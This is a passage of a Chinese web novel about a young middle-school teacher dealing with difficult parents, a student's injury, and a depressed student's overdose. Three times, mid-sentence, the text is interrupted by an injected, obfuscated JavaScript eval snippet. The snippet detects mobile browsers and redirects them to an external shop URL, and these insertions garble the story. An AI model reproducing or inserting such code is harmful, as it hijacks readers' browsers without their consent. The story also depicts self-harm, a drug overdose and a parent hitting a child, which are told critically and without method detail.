这个男家长直接把张小琪拉到了身旁,语气尖锐道:“道法老师,也不知道怎么回事,小琪期中的道法考得特别差,才72分。她小学考得没这么差的。” 肖遥:...... 小学道法能跟初中道法比吗? 虽在心里吐槽,但她脸上依旧不动声色,笑着解释道:“小琪家长,初中道法和小学道法学的内容不一样,难度加深了,给分标准也不一样。而且这才上了半个学期,很多学生都还在磨合期,没有考到理想成绩也很正常......” 还未等肖遥说完,男家长便打断她的话,神情着急道:“哎呀,那也不能考这么低啊,中考怎么办啊,怎么考好高中啊。道法老师,你要多多帮我看着小琪啊。” 说完,他又一把把女儿推到了肖遥面前。 面前的小女生从进门开始便低着头,手无措地揪着衣摆,一言不发。 肖遥心里一沉,她伸手摸了摸张小琪的头,道:“小琪爸爸你不用担心,我对每个学生都是一视同仁的,都会用心关注她们的学习。更何况,小琪还是个认真学习的孩子。” “我也跟小琪分析过低分的原因,一个是基础还不够扎实,丢了不应该丢的分,一个是材料题的答题思路不对。这些问题我都会在后续的课程中重点强调。” 肖遥话锋一转:“当然啦,学生在学校学习的时间也有限,老师也不能时刻紧盯着学生。家长可以在周末督促小琪背道法的知识点,巩固基础。这个我跟小琪妈妈聊过。” 一谈到家长监督学习,男家长瞬间就变了语气:“哦哦哦,是是是,我也忙,平时都是她妈妈看她们学习的。” 说完,男家长又对着张小琪厉声道:“你以后要多花时间背书,有不懂的就多问老师,听到没有。” 张小琪沉默地点了点头。 看着女儿乖顺的样子,男家长这才满意地点点头,道:“那道法老师,有问题联系啊。我带她去找历史老师。” 说完又拉着张小琪朝邹老师的方向走去,也是熟悉的开场白。 肖遥嘴角扯起了一抹讥讽的笑容。 她对张小琪的妈妈有点印象,开学第一周就加了她的微信。小琪妈妈很关心女儿的学习情况,而且她说话从不像其他家长一样趾高气扬,是个温柔有礼的女人。 前几天,肖遥便跟她在微信上沟通过张小琪的成绩,还提了后续的学习建议。 她还好奇为什么今天小琪变得这么安静,为什么关心女儿的妈妈没有来,为什么是这个从未跟老师有过联系的爸爸来。 原来,是这个爸爸需要一个场合展示他的“爱女心切”。 肖遥看向站在男人身旁的张小琪,依旧是沉默寡言。 她看起来似乎习惯了这个男人的做法,又或者说麻木了,她如同木偶一样被这个男人操控着。 呵, 真是个虚伪的父亲。 19. 校运会 11月底的A市还未正式入冬。 阳光灿烂,微风拂面,最适合外出闲游,游览风景。 可惜,社畜是没有资格享受的。 肖遥压了压帽檐,看着冲过终点线的学生,摁下手中的计时器,记录她的比赛成绩。 今天是校运会的第一天。 早上,全体师生以及部分家长共同参加了校运会的开幕式,肖遥和其他老师作为裁判也组了个裁判方阵。 匆匆走了个过场后,肖遥立刻找了个隐蔽位置歇着。 好不容易熬完了各班的风采展示和校领导的长篇大论,肖遥又得开始自己的校运会工作。 除了班主任,科任老师都被安排到各个比赛场所担任裁判。 肖遥被分配到径赛竞赛终点裁判,与她一起的还有美术何老师和音乐王老师。 其实这个工作挺清闲的,她只需要坐着记录学生跑步的时间。不像田赛裁判还得走来走去量距离,也不像检录裁判要哑着嗓子组织运动员集合。 只是这个天气太舒服了,她只想躺着草地上晒太阳。 “加油!加油!” “加油!” 男子50米决赛,赛道两边站满了为自己班运动员加油的学生。 学生欢呼加油的声音感染到了肖遥,她眯着眼睛看向兴奋地围在终点处的学生。 其实当学生挺好的,不用考虑工作、家庭,只需要好好读书即可,天塌下来了都有父母撑着。 可是成年人就不一样了,会面对各种各样的压力,还要肩负起家庭的责任。 比如何老师,她再怎么觉得学校恶心,为了她的孩子,她也得干下去。 还有她自己,为了活着,还得在这个莫名其妙的世界做老师。 有时候想想,还不如死了算了。 唉, 肖遥长长地叹了一口气,伸手将吸管戳进杯中。 算了,还是喝奶茶吧。 ...... 难得不用上课也没有晚自习的一天,肖遥和相熟的几个老师一起在学校附近的火锅店吃晚饭。 “这家店的毛肚特别好吃,”历史陈老师边问大家的忌口边下单,道:“要不是份量太大,我一个人吃不完,我就天天来吃了。” “以后还是要多多出来吃,学校饭堂的饭菜太难吃了。”想起饭堂大叔做的菜,美术何老师颇为嫌弃。 肖遥深以为然地点点头。 唯有道法赵老师一脸的不放心,嘴里念叨着:“我就出来吃个晚饭,不至于会有什么问题吧。” 道法赵老师家里离学校不远,开车上班只需要20分钟。 但是她作为班主任,每天根本闲不下来。因此,她每天基本是看完晚读再回家,一周甚至有两三晚住学校。 为什么肖遥这么清楚呢? 因为她和道法赵老师住在同一个套间,而且目前宿舍里只有她们两人。 赵老师回家住的话,宿舍就剩她一人。 “不至于吧,这几天校运会,也不上课。”肖遥给她倒了杯水,安慰道。 “就因为不上课,我才更担心。”赵老师一脸“你不懂这群学生有多调皮”的模样:“我特地跟各科老师说了,这两天布置多点作业,免得学生晚自习没事做又搞事情。” 话音刚落,赵老师的手机铃声便响了。 众人一愣。 手机屏幕上显示的是马主任的来电,道法赵老师赶紧按了接听键:“马主任。” 不知马主任说了什么,赵老师的脸色逐渐变得难看,没一会她便挂断电话,拿起手提包就要离开。 “你们吃,我就不吃了。” “怎么了?”美术何老师忙道。 “我们班有个学生在操场摔到腿了,挺严重的,保安叫了救护车,我得赶紧回去看着。” 肖遥急忙问道:“要不要给你带点什么回去?” “不用。”赵老师摆摆手,便匆匆离开了。 “这就是班主任的诅咒吗?太恐怖了。”历史陈老师下意识地打了个冷颤。 美术何老师也无可奈何道:“唉,我们先吃吧。” 晚饭后,肖遥回到宿舍,赵老师不在。直到她睡着了,也没有听见她回来的声音。 一直到第二天早上七点半,肖遥才见到同样准备出门的她。 道法赵老师两眼无神,顶着两个黑眼圈的脸上明显增添了一丝憔悴。 她跟肖遥打了个招呼,便一同走去饭堂。 想到昨晚的事情,肖遥还是忍不住问道:“昨晚你什么时候回来的?我12点睡觉的时候没听见声音。” 赵老师揉了揉太阳穴,声音低沉道:“唉,我昨晚两点多才回到宿舍。” 那才睡了几个小时啊。 肖遥皱眉问道:“学生情况很严重吗?” 赵老师摇头叹了口气,才将事情娓娓道来:“昨晚出事情的是我们班的刘何辉,在操场踢足球的时候不小心摔伤。当时有学生找了校医和马主任,校医检查后说可能是小腿骨折,要送去医院。所以马主任打了救护车电话后,就立刻打电话给我。” “我又赶紧打给刘何辉的妈妈说明情况,让她直接去医院。然后我就抓紧时间问清楚是怎么回事,幸好马主任在,把当时跟刘何辉踢足球的几个学生都留了下来,刚好都是我们班的。” “原来是几个人踢足球的时候,刘何辉自己跑太快摔跤了,包括刘何辉自己也承认了。” “到了医院,我和政教处的魏主任陪着他做了CT,确定是小腿骨折,要打石膏。” “我们就在那里等着,一直到了晚上快10点,刘何辉的妈妈才赶到。” 肖遥忍不住插了句:“他们家住很远吗?只有他妈妈来了?” 赵老师冷笑了一声道:“呵,我们学校离医院不远,哪怕她从家里开车来都不用一小时。至于他爸,是不管孩子的。” 一想到昨晚的场景,道法赵老师的心脏就嘣嘣直跳,身体沉重如铅,没有一丝力气。 刘何辉的妈妈到了医院,看到自己的孩子坐在轮椅上,便开始对着她和魏主任破口大骂:“你们学校怎么回事,我的孩子好好上个学怎么就骨折了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239894|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子受伤,做家长的紧张她能理解。 因此,赵老师尽可能用温和的语气解释着前因后果,尽管她早就在微信上给刘何辉的妈妈说明了情况。 只是刘何辉的妈妈听不进去,她执意认为是别的学生推倒了刘何辉。 坐在轮椅上的刘何辉看着自己的妈妈与老师争吵,脸色逐渐惨白。他拉了拉妈妈的衣袖,小声道:“妈,是我自己不小心摔倒的,不关其他同学的事情。” “你闭嘴!”刘何辉的妈妈直接甩开了他的手,发出了尖锐的声音。 她无视医护人员的提醒,依旧大声嚷嚷:“我不管,我不相信你们学校的话。我要报警,我要查监控。” 一提到报警,政教处的魏主任才上前安抚道:“何辉妈妈,我们能理解你的心情。现在也很晚了,要不这样,我们先送你和何辉回家休息。明天,你再过来学校,我们一起查监控。你放心,如果真是其他学生推倒的,我们绝对不会包庇。” 但刘何辉的妈妈依旧坚持道:“我现在就要看监控!” 魏主任无法,只能答应她的要求,毕竟再闹下去,真到了派出所,对学校的形象不好。 “所以昨晚从医院回来后,我们就和刘何辉的妈妈一起看监控。”赵老师继续道:“我们查看了好几个监控,都没有拍到出事的画面。最后才在一个角落的摄像头看到了,确实是刘何辉自己跑着跑着摔跤的,当时他周围没有人。” “那这个事情不就明了了?” “没呢。”赵老师嘴角扯出一抹苦笑,语气里满是无尽的疲倦:“看完监控,刘何辉的妈妈倒是没有了一开始的骂骂咧咧。但是她认为是学校没有做好监管义务,才让学生受伤。所以她要求学校赔偿医药费和赔偿金。” 肖遥觉得不可思议,道:“这不是学生自己摔倒的吗?还能怪学校啊,再说也不是上课的时候受伤的。” “她要是这么讲理的话,就不会有后面的事情了。”道法赵老师扯了扯嘴角,无奈道:“学校肯定不想赔偿,就这么僵持到了快两点。最后魏主任才说让刘何辉家长今天再过来学校解决这个事情。” 肖遥:“......” “刚刚我就收到了刘何辉妈妈的微信,说她8点多就会到学校。所以我等会吃完早餐,还得去政教处跟领导商量怎么处理这个事情。” 赵老师身体靠向肖遥,挽住肖遥的臂弯,似乎想从中汲取力量。 “前晚我为了开幕式表演,弄到很晚才睡觉。昨天又早早起来组织学生,忙了一天后,傍晚又匆忙赶到医院忙上忙下的,累得不行。后来回学校后,又跟着一起查监控,还要不停劝慰家长,我昨晚回到宿舍后直接躺下休息了,到现在还没吃饭。” 听着赵老师的经历,看到她脸上的疲惫,肖遥心中涌起一股难以言说的情绪。 她不知道说什么才能安慰到自己的同事。 她只能回握住赵老师的手,轻声道:“这家长太离谱了,魏主任也是,没什么作为。” 赵老师没再说什么,只是一声无奈的叹息从她口中传出,充满着浓浓的无力感。 20.学生、家长和老师 赵老师的早餐吃得并不安稳。 微信上领导的不断催促,迫使她匆狼吞虎咽地吃下几个包子就匆匆离开。 她离开后,肖遥没有了继续吃下去的欲望。 她将餐盘放在回收区,然后独自朝操场走去。 上午10点30分,比完女子1500米后,径赛项目暂告一段落。肖遥跟裁判长打了个招呼,便走向教学楼。 今天的太阳有点猛,身体出了薄汗,她想回去办公室换个衣服。 换完后,她在楼梯转角处恰好遇见了历史陈老师。 “欸,你怎么在这?”肖遥率先打了个招呼。 “我来找蒋主任签字。”历史陈老师挥了挥手中的文件,道:“你等等我,我签完跟你一起回去。” “好。” 教务处在3楼,肖遥便在3楼走廊站着。 这时,一阵争吵声随风飘进肖遥的耳里。 肖遥看向前方,声音的源头是处理学生问题的政教处。 想到道法赵老师说的事情,肖遥咬了咬下唇,悄悄走了过去。 争吵的声音越来越大。 “......你们学校今天一定要给我一个说法。”一个尖锐的中年女声响起。 “何辉妈妈,何辉受伤后,我们及时送往医院治疗。而且你们昨天也看到了监控,确实是何辉自己摔倒的,学校其实没有赔偿的义务。”这是政教处魏主任的声音。 真难得,魏主任的语气居然颇为强硬。 他继续道:“但对于学生的意外受伤,我们学校深感惋惜和同情。因此,我们学校决定承担昨天的医药费用,但是你说的赔偿8万,是不可能的。” “可我的孩子就是在学校弄伤的,就算是在放学后,那也是学校没有尽到监管孩子的责任。”何辉妈妈歇斯底里地大喊道。 “明明这几天是校运会,学生参加比赛本来就消耗体力,你们居然不劝学生好好休息,放学后还允许学生在操场踢足球,这就是你们的问题。” 肖遥冷笑了一声,何辉妈妈的话显然就是在故意找茬了。 刘何辉是初中生,不是小学生,有自己的意识。他想在课余时间踢足球,难道老师还要拦着? 面对自己班里的学生家长,道法赵老师还是用心劝了劝,尽管这个人不可理喻:“何辉妈妈,适当的户外运动有助于孩子的身体健康。” “何辉受伤,我们所有人都不想的。但是学校确实是没办法赔偿8万。” 魏主任又加了一句:“哪怕你闹到法院,也拿不到8万。” 如果是学校没有尽到安全教育和设施检查的义务,那么学校会承担责任。但如果是学生自己受伤了,学校还要赔钱的话,那学校还开不开了? 开了这个先河,指不定每天都有学生受伤。毕竟,不是所有家长都爱孩子,有些家长巴不得利用孩子“一键提现”。 魏主任说完,政教处一阵沉默。 肖遥隐约听到了一阵啜泣声。 “妈,真的是我自己不小心摔倒的,不怪老师。” 肖遥又悄悄走前几步,透过微开的门缝,她看到一个打着石膏坐在轮椅上的男生,刘何辉。 大概是昨晚没休息好,大早上又过来学校。刘何辉脸色惨白,眼睛红红的,眼底还有一圈青黑色。 他鼻尖一抽一抽的,双手拉住妈妈的手,祈求道:“妈妈,我们回去吧。” 由于视线阻隔,肖遥看不见她的脸,只看见她因激动而微微颤抖的身体。 就在这时,突然冲出一道身影。 “啪!” 刘何辉的脸上瞬间出现了一个掌印,泪水从他的脸上滑落。 “你还哭,要不是你贪玩去踢足球,至于弄伤吗?”中年男人暴怒的声音响起,他指着小孩的脸骂道:“老子花钱送你来上学,你就只会给我惹事,知道我请个假都多难吗?” 看见儿子被打,何辉妈妈赶忙蹲下抚摸他的脸,将浑身哆嗦的他搂进自己怀里。 她转过头对着男人破口大骂:“你打儿子做什么?” 男人指着面前的母子一起骂道:“你还好意思说,我让你不上班在家里照顾儿子,你就这样照顾的?两个都是没用的东西!” 似乎是没想到刘何辉会被自己的爸爸打,魏主任和赵老师愣了一愣,就赶忙上前劝导。 魏主任用身体阻隔住一家三口,道:“何辉爸爸,不要激动,有话好好说,孩子还受伤呢。” “对对对,万事好商量。”道法赵老师推开刘何辉的轮椅,赶忙查看刘何辉的伤。 听到“没用”两个字的刘何辉妈妈瞬间站了起来,对着自己的老公质问道:“我没用?是你说的,我工资没你高,让我辞职留在家里照顾你爸妈和儿子。要不是你爸生病了,我才不会送儿子来寄宿学校。你呢,你除了给钱,还做了什么?” “辉辉生下来就是我在照顾,从幼儿园到小学都是我每天接送的,你有送过一次吗?你连儿子的家长会都没参加过一次!” “昨晚辉辉受伤,我让你去医院你不去。要不是我今天拖着你来,你恐怕连儿子学校的大门在哪里都不知道!” 肖遥看不见何辉妈妈的表情,但能听出她的声音因哭泣而发颤。 肖遥突然想到,这8万赔偿费真的是何辉妈妈想要学校赔的吗? 是何辉爸爸的主张呢?还是她想利用这个事情让何辉爸爸关心这个事情? 面对妻子一连串的诉苦,刘何辉爸爸的脸青一阵白一阵。 他转过头继续骂刘何辉:“你个败家子,以后不许再踢那个破球。现在跟我回去,转学!” “你发什么疯,好端端地转什么学啊!” “你看他来了这个学校之后都学了什么?”刘何辉爸爸意有所指:“以前他可不喜欢踢足球。” 赵老师皱眉,还是温和地劝了劝:“何辉爸爸,还是要慎重考虑转学。” “我不转!” 赵老师话音刚落,一道小而坚定的声音响起。 刘何辉用手擦了擦眼泪,推开抱着自己的妈妈,看向眼前的男人道:“我喜欢这个学校,我不走。” 被自己的儿子当众拒绝,这对刘何辉爸爸来说无疑是一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250345|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑衅,他瞪着眼睛厉声道:“我说转学就转。” “凭什么?” “凭我是你爸,凭我出钱供你吃供你穿供你读书,你必须听我的!” “我才不要你这样的爸爸!”刘何辉冲着眼前的男人怒吼道:“你从来都不管我,都是妈妈在照顾我。妈妈还要照顾爷爷奶奶。每次你回家还要骂妈妈,我最讨厌你了,我巴不得你不要回来。” “这个学校是妈妈带着我一起选的,我喜欢这个学校,我喜欢赵老师,我喜欢班里的同学。” “我喜欢和他们一起上课,一起踢足球。” 他哭诉着自己委屈:“还有,我从小就喜欢踢足球,是你自己不知道而已!” 政教处一阵沉默。 肖遥看见男人的脸色变得极其难看。 她没有再听下去。 莫名的,她心里很不舒服。 肖遥转身去找历史陈老师,与她一同走回操场,并把刚刚听到的对话告诉了她。 历史陈老师长叹了一口气,道:“我知道刘何辉,是个很懂事的小男孩,每次上我历史课都会积极回答问题。我还知道他下课后很喜欢跟班里的几个男生踢足球,我看他们关系挺好的。” 她顿了顿,继续道:“赵老师跟我提过他家情况,挺复杂的。他爸跟他妈二婚生的他,他还有个大儿子,虽然抚养权归他,但是是由他第一任老婆抚养的。” 肖遥皱眉:“就因为这样,他才不重视自己的小儿子?” 历史陈老师摇摇头,同样不解道:“不清楚,我只知道他有很强的大男子主义,还不许自己二婚的老婆出去工作。” 肖遥叹气。 她为这对母子感到可悲。 校运会持续了三天。 周五下午,肖遥从道法赵老师的嘴里听到了这个事情的结果。 由于学校的坚持以及家长自知理亏,刘何辉的家长没有再继续要求学校赔偿。 另外,刘何辉剩余的医药费也由保险负责。 只是,在刘何辉爸爸的强硬要求下,刘何辉还是转学了,转去了家附近的一所风评不太好的公办学校。 肖遥下班的时候,看见刘何辉的妈妈替刘何辉收拾书包。 而坐着轮椅的刘何辉则抹着眼泪和班里的好朋友一一道别。 看着这场景,肖遥为之前自己的想法而觉得可笑。 她居然认为学生没有烦恼。 怎么可能呢? 学生也有学生的烦恼啊。 学生要烦恼学业、烦恼朋友、烦恼家庭,还没有形成独立思想、也没有经济自由的她们,只能忍气吞声,接收父母的情绪垃圾,忍受他们莫名其妙的批评,甚至还有语言侮辱、冷暴力,更没有办法对自己的生活做出决定。 明明几个月前肖遥也是个在校大学生,也有着自己的烦恼。 怎么才当了两个月的老师,就忽略了学生群体会遇到的问题? 还是当自己脱离之前的群体后,就会自觉忽略掉过往的经历? 肖遥的眼神变得迷茫起来。 想不通,想不通。 21.抑郁症的学生 学校虽然不用再承担刘何辉后续的医药费,但学校领导终究还是被吓到了。 周一升旗后,金校又花了40分钟的时间大讲特讲学生在校安全,还重新制定了内部制度,严格规定了学生户外运动的时间和要求。 比如,学生课间不可以出去操场,只能留在教学楼。 比如,学生进行打篮球、踢足球等运动需要跟班主任报备。 比如,严格限制了学生户外运动的时间段。 比如,本周为安全教育周,班主任要召开安全教育主题班会。 又比如,班主任要核查学生有没有购买校园平安险,家长要签学生在校安全知情书。 总之,这一系列措施下,受苦的是班主任和无辜的学生。 “这不是一刀切嘛,一个家长的行为居然要让其他学生埋单。” 看着教职工群发的文件,肖遥忍不住皱眉道:“而且班主任工作量又增加了。” 历史陈老师同样不认可学校的做法,但她也无可奈何:“没办法,学校领导又怕出现类似的事情。” “只是可怜这些学生了,本来在学校的时间就长,现在又长时间呆在教室内,心理不出问题才怪。” 对于陈老师的话,肖遥很赞同。 她记得她读书那会,学校的管理很宽松,家长也没有这么多投诉。 初中的时候都是自己上下学,下课了就去操场草地撒欢。 小孩嘛,精力旺盛,身上偶尔有碰撞、伤口都是很正常的事情,抹点药很快就好了。 哪像现在,老师丧失了惩戒权。 学生就像是玻璃罩里的瓷娃娃,碰不得骂不得伤不得。 都说十年树木,百年树人。 小树苗尚且需要经过风吹雨打才能茁壮成长为顶天立地的大树,学生如果不历经挫折、教训,又怎能健康成长? 只是肖遥也明白,现在的教育环境不是一朝一夕而成的,更不是某个学生、家长,或是某个学校造成的。 就在全校重视学生安全教育的同时,又发生一件震惊全校的事情,偏偏就在肖遥的课上。 704班的学生上课极爱讲闲话,因此,肖遥上课一般先花5分钟整顿课堂纪律,再正式开讲。 今天,亦是一样。 课程过半,肖遥便发现,平时爱聊天的林玥涵低着头。她微长的刘海挡住了她的眼睛,让人看不见她的神情。 肖遥皱眉。 刚上课,她便发现这个学生有点异常安静,她还以为她转性了,谁知还是没有认真听课。 肖遥一边讲着PPT上的内容,一边悄悄走过去,打算提醒她集中注意力。 谁知,刚靠近她的座位,肖遥就隐隐约约听见一阵啜泣声。 她直接让其他学生朗读课文,然后弯下腰,小声问道:“怎么了,身体不舒服吗?” 林玥涵摇摇头,依旧没抬起头。 肖遥曲起手指,轻扣桌面两声:“既然没有问题,就抬起头认真上课。” 她依旧低头哭泣。 就在肖遥思考怎么处理这个事情的时候,前排不断向后偷瞄的女生突然站起来,凑到肖遥耳边小声道:“老师,她不太舒服。” “哪里不舒服?不舒服就去校医院看,或者请假回家。” 可面前的女生支支吾吾,就是不肯继续说话。 肖遥无法,直接让她去办公室找班主任韩老师。 韩老师很快就出现在教室里。 她直接将手贴在林玥涵的额头上,喃喃道:“没发烧啊。” 她强迫林玥涵抬起头。 女孩微闭着眼,眼角微微泛红,似有泪痕。 她语气平和:“发生什么事情了,跟老师说。” 还是沉默。 韩老师直接伸手将林玥涵拉离座位,又将前排的那个女生叫到教室后门,直接问道:“你要是知道发生什么事,就直接说,不然有什么严重后果你担不起。” 前排的女孩被班主任略带威胁的话吓到了。 她瞳孔放大,看着韩老师胆怯道:“老师,她刚刚吞药了?” “什么?” 似乎是没想到这个答案,韩老师愣了一下,随即紧张地向学生确认:“吞药了?什么时候吞的?吞了多少?吞了什么药?” “上课前,吞了20几颗吧,我也不记得了,好像有感冒药和止痛药。” 韩老师的脸瞬间白了,她直接带着林玥涵快速离开了课室。 肖遥刚刚站在离她们不远的地方,也听到了女生说的话。 说实话,她也被吓到了。 谁能想到一个刚上初一的女生会吞药? 她是要自杀? 肖遥思绪飘飞了好一会,又回神继续把课上完。 刚下课,肖遥便看见马主任来到4班,带走了那个女生。 肖遥思索了会,便跟到办公室,三言两语说了林玥涵当时的情形。 马主任点点头,示意她知道了。 毕竟是在她的课离开的,肖遥也有点担心,便主动问道:“林玥涵现在怎么样了。” “韩老师和魏主任把她送去了医院,通知了她家长,如果真吞了药,估计要洗胃了。” “为什么会吞药?” 肖遥百思不得其解,这个学生平时看着很开朗啊,总找人聊天玩乐。 “这也是我们想知道的。” 马主任看向面前的女生,厉声道:“黄乐柠,林玥涵已经被送去医院里,你现在要把知道的事情全都告诉老师,不能有隐瞒。” 黄乐柠咬着下唇,面露难色。 最后在马主任略带侵略的直视下,她还是说出了实情:“她早上起来的时候就很不开心,上节课下课后说很难受。她就直接把药都拿出来,塞进嘴里。她还要我保密,不要告诉其他人。” “你看到她吃了这么多药,不会觉得很不对劲吗?为什么不直接告诉老师?” “因为她说了要我保密,我们是好朋友。” 肖遥:...... 马主任显然也被气到了,她深吸了几口气平复情绪,最后只能教育道:“下次遇到这种事情,记住第一时间告诉老师,这才是好朋友的做法。你要相信老师,我们不会害你们的。” 黄乐柠如小鸡啄米般点点头。 “记住,这个事情不许和班里同学说。” 看到黄乐柠点头答应,马主任这才让她回去。 她不顾形象地瘫坐在椅子上,手扶着脸,一脸的生无可恋:“又是我们七年级出现问题,我现在每天提心吊胆的,睡都睡不好。” 谁说不是呢。 肖遥现在也有点后怕 虽然不是在她课堂上吞的药,但要是她没及时发现,林玥涵在她课堂上出事的话,她都不知道怎么办才好。 马主任又道:“我从教这么多年,见过学生打架,见过学生逃课,见过学生爬上天台要跳楼,也见过学生割腕,还是第一次遇见学生吞药。” 肖遥震惊:“还有学生割腕?” 马主任移开手,神色憔悴看向肖遥道:“哦,没跟你们说,期中考试前,有个学生不想参加考试,所以偷偷拿剪刀割自己的手,幸好被同学看见了,及时告诉了老师。” 肖遥这才恍然大悟:“难怪那周你们一直说要学生将剪刀交给班主任管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254773|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理,还不让科任老师借剪刀给学生,原来是因为这个。” 马主任疲惫地点点头:“学生要用剪刀必须找班主任,当着面用。其实也不管用,因为后来又发现有些学生用尺子割手,甚至还有学生用笔戳自己的手。” 肖遥:...... 肖遥震惊:“现在学生的心理问题这么严重?” 马主任重重地摇摇头:“唉,这么说吧,有些学生是真的心理有问题,有些学生则是跟风。看到其他学生这么做了,就觉得很酷。现在的学生,难教啊。” 肖遥:...... 天,这教的都是些什么学生啊。 一直到第四节课,肖遥才看见韩老师出现在教学楼。 她赶忙上前询问林玥涵的情况。 韩老师拉着她进了办公室,等到马主任回来后才道:“洗胃了,现在在住院观察。” 她面色微冷,但肖遥却看出来她压抑着怒火。 “她爸妈都过来了,我问了才知道,林玥涵是重度抑郁症,小学六年级的时候就吞过药。” 肖遥:? “她家长也不早点跟我说,还让她带了一堆药回学校,我真是服了。” 听到是抑郁症,马主任的脸色逐渐变得难看:“她为什么会有抑郁症?她有抑郁症家长怎么还送过来学校?” 韩老师“呵”了一声,神情复杂:“她爸妈在她小的时候就离婚了,她跟着她爸生活,受到的关爱很少。后来她父母又各自重组了家庭,还有了小孩,更没人关心她了。” “她小学三年级就去了寄宿制学校,周末有时候回爷爷奶奶家,有时候回她爸家里。因为家里没人在意她,她就开始变得内向。那次吞药后,她被就父母送去医院治疗。” “她爸爸说,看她情况变好后,以为没事了,就让她继续上学,谁知道今天又吞药了。” 肖遥&马主任:...... “这都是什么家长啊。”肖遥忍不住斥责道:“这还是亲生孩子吗?只养不教啊。” 韩老师叹了口气,继续道:“这孩子从小就没受到什么关爱,她也一直不习惯寄宿制学校,所以很讨厌上学。她想回家,想让父母关心她,所以她才吞药自杀来引起父母的关注。” “那现在她家长怎么处理这件事?学校又是什么态度?”马主任一针见血问道。 “她妈陪着女儿住院治疗。你们不知道,我当时还在病房呢,她爸妈两个就为谁照顾女儿吵了起来。最后是妈妈心软,松了口她来照顾。” “至于学校,”韩老师低声道:“魏主任说,让我劝林玥涵的父母让她先休学一段时间,治疗好了再说。” “唉,其实学校是想让她直接退学,省得回来了又抑郁了,万一哪天又吞药了或是跳楼了,学校承担不了后果。可这么直接说也不太好,所以魏主任让我先劝家长休学。” 三人无言。 而肖遥则想到了刘何辉摔跤事件还有学生割腕带来的影响,她直接说出了自己的疑问:“这件事情之后,学校不会又要严查学生带来的药品了吧?” 韩老师&马主任:...... 好问题。 马主任无奈地笑出声:“必然的了,周日学生回校肯定又要班主任严查学生行李,又要开主题班会进行学生用药安全的教育。” 学校还会规定什么制度呢? 会不会规定学生在校使用药品的数量? 会不会让允许学生带药回校的家长提前跟班主任报备? 还是会让班主任统一管理药品? 唉, 反正不管怎么样,受苦受累的还是无辜的班主任和学生。 22.生病 “咳咳咳” 肖遥抿唇看着台下咳嗽的学生,无一例外都带着口罩,有的额上甚至还贴着退烧贴。 这几周流感比较严重,不少学生都感染了病毒。 有些家长很重视,孩子病了直接带回家休息,有的家长甚至在周末就跟班主任请假不来学校。 但也有家长生怕自己的孩子因为请假而落下进度,依旧坚持让孩子留在学校,只是叫了跑腿买了药送过来。 至于学校的态度? 尽管流感严重,请假的学生超过了三分之一,但学校依旧不停课。 毕竟大部分学校都坚持上课,没理由因为这三分之一的学生而让剩余三分之二的学生回家。 比起生病,学校领导更担心家长来闹。 闹什么? 肖遥从美术何老师那得知,居然有家长跟学校反应,如果学校停课,学校就要补偿非请假学生的学费,也就是要求退部分学费。 肖遥听到的时候都震惊了。 原来奇葩家长这么多。 学校不停课,老师也无法,只能继续上课。 但现在的学校就像个病毒体聚源地,哪怕是抵抗力强的人也抗不住,尤其是天天与学生接触的老师。不少老师已经中招了,比如肖遥办公室的体育邓老师和历史邹老师。 只是成年人身体素质较好,不至于一病就倒,所以她们还坚持在岗位上。 身体较差的老师便只能请假回家休息了,毕竟身体最重要。 但在学校请假可不是件容易的事,道法赵老师一开学便告诉了肖遥学校的请假制度。 病假或事假两天以内的,需要找教务处蒋主任和年级主任签字同意,超过两天需要找校长。 病假需要医院证明,否则和事假的扣钱比例一样高。 只要请假,全勤扣半,超过两天的请假,当月没有全勤。 除了全勤,还要扣请假当天的工资。 另外,请假前还需要老师自行调课。如果实在调课不成,再让教务处安排其他老师代课。 但是一般老师都会自己提前调课,尤其是主科老师。不调课,进度赶不上来,后面就只能找额外时间再补了。 今天七年级有三位老师请假了,肖遥也被分到了两节代课,好在,她不打算上新课,准备给学生布置点练习。 班里有八个学生请假,而留在学校的学生也无精打采,哈欠连天。 肖遥今天也戴上了口罩。 她坐在讲台上研读教材,准备下一课的内容,旁边放着她的水杯。 课室里空气不太流通,她戴着口罩有点闷,索性摘了下来,又喝了口水润润嗓子。 她早上起来就发现自己喉咙肿痛,鼻子有些不通气,整个人昏昏沉沉的。 她连忙吃了颗感冒药,只是好像没有什么效果。 肖遥又摸了摸自己的额头,比平常的温度高了点。 但到了下午第四节课,肖遥发现自己发烧了,全身慢慢地变得虚弱无力。 她看着课表上的最后一节课,放弃了调课的想法,直接找了蒋主任和马主任请假。 恰好遇见了2班的班主任孙老师,虽然戴着口罩,但可以看出她脸色不大好,眉头紧蹙,眉眼间尽显疲态。 “肖老师也要请假?”蒋主任问道。 